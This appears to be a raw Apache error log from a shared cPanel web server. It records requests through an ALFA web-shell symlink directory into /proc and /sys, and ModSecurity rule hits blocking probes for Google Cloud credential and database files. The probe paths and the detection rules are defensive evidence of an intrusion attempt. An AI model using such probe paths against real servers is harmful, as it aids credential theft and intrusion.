[Sun Oct 25 00:58:15.862839 2026] [core:crit] [pid 2762183:tid 2762183] (13)Permission denied: [client 216.244.66.250:39670] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/map_files/' is executable
[Sun Oct 25 00:58:15.862857 2026] [core:crit] [pid 2762183:tid 2762183] (13)Permission denied: [client 216.244.66.250:39670] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195758/fdinfo/' is executable
[Sun Oct 25 00:58:18.141969 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 23.22.105.143:46228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:58:20.802107 2026] [core:crit] [pid 2762199:tid 2762199] (13)Permission denied: [client 216.244.66.250:53946] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/tty/driver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/tty/driver/' is executable
[Sun Oct 25 00:58:26.181509 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.12:47650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ghash_clmulni_intel/sections/__mcount_loc
[Sun Oct 25 00:58:46.114420 2026] [proxy_fcgi:error] [pid 2762188:tid 2762188] [client 110.38.249.14:56977] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:58:46.129168 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.220.2.97:25147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:58:58.200860 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 3.93.253.174:17704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/uevent
[Sun Oct 25 00:59:02.141753 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 100.29.155.89:49426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1d/eject
[Sun Oct 25 00:59:10.111015 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 34.227.156.153:26129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:59:14.173677 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.194.165.45:53860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:59:18.249301 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.197.114.76:42041] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:59:30.194807 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 54.198.33.233:34228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/driver/serio0/subsystem/drivers/serio_raw/bind
[Sun Oct 25 00:59:34.190589 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 18.214.138.148:46437] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/new_id
[Sun Oct 25 00:59:50.240059 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 35.153.86.200:37905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/eject
[Sun Oct 25 00:59:54.127023 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.152.163.42:44967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:59:58.145758 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.195.145.102:41065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:02.139432 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 98.83.177.42:23191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:06.214169 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 85.208.96.209:62784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pure-ftpd.conf.rpmsave
[Sun Oct 25 01:00:10.146470 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.209.201.119:4020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:14.140102 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.70.123.241:19623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:22.123281 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 184.73.167.217:51413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:30.226174 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 18.206.47.187:59528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input0/device/driver/bind
[Sun Oct 25 01:00:42.129176 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.45.77.169:54811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:00:49.218742 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 85.208.96.210:52242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/alloc_calls
[Sun Oct 25 01:00:50.149062 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.6.5.24:57702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:02.157512 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 23.23.99.55:5698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:22.178334 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 44.207.207.36:63808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/remove
[Sun Oct 25 01:01:26.221045 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 100.24.149.244:41561] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/pcieport/uevent
[Sun Oct 25 01:01:34.127898 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 18.205.91.101:21189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:38.158664 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.225.98.148:63168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:42.158923 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.162.69.192:58783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:46.135205 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.213.36.21:5416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:50.176656 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.147.238.89:29409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:54.146455 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.83.56.1:33256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:01:57.813482 2026] [security2:error] [pid 2762145:tid 2762145] [client 216.180.246.172:21764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at2NRVTnwNJm6o1fQZIgWQAAAAI"]
[Sun Oct 25 01:01:57.814472 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 216.180.246.172:21764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:01:58.208542 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 107.20.255.194:23491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:02:06.148115 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.6.5.24:44019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:02:18.130946 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 100.28.49.152:34834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/hpet/uevent
[Sun Oct 25 01:02:31.000230 2026] [security2:error] [pid 2759096:tid 2759096] [client 216.180.246.172:21764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at2NZmTNY6y0aXZ6joCbAgAAADk"]
[Sun Oct 25 01:02:31.001062 2026] [authz_core:error] [pid 2759096:tid 2759096] [client 216.180.246.172:21764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:02:31.859107 2026] [security2:error] [pid 2759074:tid 2759074] [client 95.133.167.169:36192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at2NZ9sOgdpl1YJRCNQV2wAAAEU"]
[Sun Oct 25 01:02:31.859446 2026] [security2:error] [pid 2759074:tid 2759074] [client 95.133.167.169:36192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at2NZ9sOgdpl1YJRCNQV2wAAAEU"]
[Sun Oct 25 01:02:31.859733 2026] [security2:error] [pid 2759074:tid 2759074] [client 95.133.167.169:36192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at2NZ9sOgdpl1YJRCNQV2wAAAEU"]
[Sun Oct 25 01:02:31.861471 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:36208] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at2NZ5nH_N6a0offkOBFIwAAACg"]
[Sun Oct 25 01:02:31.861674 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:36208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at2NZ5nH_N6a0offkOBFIwAAACg"]
[Sun Oct 25 01:02:31.861911 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:36208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at2NZ5nH_N6a0offkOBFIwAAACg"]
[Sun Oct 25 01:02:34.128539 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.204.253.129:5712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:02:34.128773 2026] [security2:error] [pid 2762145:tid 2762145] [client 52.204.253.129:5712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/event0/device/subsystem/mice/subsystem/input1/capabilities/led"] [unique_id "at2NalTnwNJm6o1fQZIgWwAAAAI"]
[Sun Oct 25 01:02:34.128797 2026] [security2:error] [pid 2762145:tid 2762145] [client 52.204.253.129:5712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/event0/device/subsystem/mice/subsystem/input1/capabilities/led"] [unique_id "at2NalTnwNJm6o1fQZIgWwAAAAI"]
[Sun Oct 25 01:02:38.126850 2026] [ssl:error] [pid 2762199:tid 2762199] (5)Input/output error: [client 98.82.38.120:21644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:02:44.392412 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 185.191.171.11:40334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/remote_node_defrag_ratio
[Sun Oct 25 01:02:44.424184 2026] [security2:error] [pid 2762149:tid 2762149] [client 95.133.167.169:52206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/app.db"] [unique_id "at2NdDuLxR3FUbX6v9XEcQAAAAc"]
[Sun Oct 25 01:02:44.424422 2026] [security2:error] [pid 2762149:tid 2762149] [client 95.133.167.169:52206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app.db"] [unique_id "at2NdDuLxR3FUbX6v9XEcQAAAAc"]
[Sun Oct 25 01:02:44.424635 2026] [security2:error] [pid 2762149:tid 2762149] [client 95.133.167.169:52206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app.db"] [unique_id "at2NdDuLxR3FUbX6v9XEcQAAAAc"]
[Sun Oct 25 01:02:44.428528 2026] [security2:error] [pid 2759096:tid 2759096] [client 95.133.167.169:52214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/database.db"] [unique_id "at2NdGTNY6y0aXZ6joCbAwAAADk"]
[Sun Oct 25 01:02:44.428739 2026] [security2:error] [pid 2759096:tid 2759096] [client 95.133.167.169:52214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/database.db"] [unique_id "at2NdGTNY6y0aXZ6joCbAwAAADk"]
[Sun Oct 25 01:02:44.428990 2026] [security2:error] [pid 2759096:tid 2759096] [client 95.133.167.169:52214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/database.db"] [unique_id "at2NdGTNY6y0aXZ6joCbAwAAADk"]
[Sun Oct 25 01:02:44.436520 2026] [security2:error] [pid 2762145:tid 2762145] [client 95.133.167.169:52230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/data.db"] [unique_id "at2NdFTnwNJm6o1fQZIgXAAAAAI"]
[Sun Oct 25 01:02:44.436718 2026] [security2:error] [pid 2762145:tid 2762145] [client 95.133.167.169:52230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/data.db"] [unique_id "at2NdFTnwNJm6o1fQZIgXAAAAAI"]
[Sun Oct 25 01:02:44.436979 2026] [security2:error] [pid 2762145:tid 2762145] [client 95.133.167.169:52230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/data.db"] [unique_id "at2NdFTnwNJm6o1fQZIgXAAAAAI"]
[Sun Oct 25 01:02:44.444865 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:52242] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/prisma/dev.db"] [unique_id "at2NdJnH_N6a0offkOBFJAAAACg"]
[Sun Oct 25 01:02:44.445113 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:52242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/prisma/dev.db"] [unique_id "at2NdJnH_N6a0offkOBFJAAAACg"]
[Sun Oct 25 01:02:44.445347 2026] [security2:error] [pid 2762183:tid 2762183] [client 95.133.167.169:52242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/prisma/dev.db"] [unique_id "at2NdJnH_N6a0offkOBFJAAAACg"]
